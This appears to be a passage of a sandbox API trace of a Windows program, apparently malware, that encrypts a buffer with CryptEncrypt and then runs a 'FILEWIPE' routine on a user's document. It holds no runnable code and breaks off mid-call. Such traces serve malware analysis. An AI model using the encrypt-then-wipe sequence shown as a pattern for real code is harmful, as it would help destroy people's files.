0 [0025.796] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.796] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.796] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0025.796] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.797] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.797] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.797] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.797] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.797] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.797] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.797] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.797] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.797] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.797] CryptEncrypt (in: hKey=0xe8f4062720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x4d03, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x4d10) returned 1 [0025.797] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.797] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.797] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.797] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.797] CharLowerBuffW (in: lpsz="byte[19729]", cchLength=0xb | out: lpsz="byte[19729]") returned 0xb [0025.797] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.797] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.797] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.797] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0025.797] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.798] CryptEncrypt (in: hKey=0xe8f4062720, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4383a50*, pdwDataLen=0xe8f3dfdf68*=0x4d03, dwBufLen=0x4d10 | out: pbData=0xe8f4383a50*, pdwDataLen=0xe8f3dfdf68*=0x4d10) returned 1 [0025.798] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.798] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.798] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.798] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.798] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.798] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.798] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.798] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.798] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.798] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.798] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0025.798] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.798] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.798] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0025.798] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.798] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0025.798] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.799] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.799] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.800] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.800] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.800] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.800] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0025.800] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.801] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.801] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0025.801] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.801] CryptDestroyKey (hKey=0xe8f4062720) returned 1 [0025.801] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.801] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.801] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.801] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.801] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.801] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.801] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0025.801] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.801] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.801] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0025.801] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.801] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0025.801] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.801] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0025.801] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.801] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0025.801] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.801] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0025.801] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.801] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0025.801] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.801] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0025.801] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0025.801] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.801] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.801] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.801] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0025.802] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.802] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.802] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0025.802] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.802] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0025.802] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0025.802] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0025.802] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.802] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.802] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.803] CloseHandle (hObject=0x1fc) returned 1 [0025.803] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.803] CloseHandle (hObject=0x188) returned 1 [0025.804] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.805] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.805] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0025.806] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.806] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\pldu.docx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\pldu.docx")) returned 0x20 [0025.806] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.806] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\pldu.docx", lpFindFileData=0xe8f3dfe860 | out: lpFindFileData=0xe8f3dfe860) returned 0xe8f4069bf0 [0025.806] FindClose (in: hFindFile=0xe8f4069bf0 | out: hFindFile=0xe8f4069bf0) returned 1 [0025.806] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.806] CharLowerBuffW (in: lpsz="byte[19715]", cchLength=0xb | out: lpsz="byte[19715]") returned 0xb [0025.806] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.806] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0025.807] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.807] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0025.807] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0025.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0025.807] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f40645c0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0025.807] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0025.808] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.808] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.808] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.808] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0025.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.808] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0025.809] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.809] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0025.809] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.809] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0025.809] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.809] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.809] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.809] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.809] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.809] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.809] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0025.809] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.809] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0025.809] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.809] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0025.809] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.811] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0025.811] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0025.811] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0025.811] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.811] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0025.811] PeekMessageW (in: 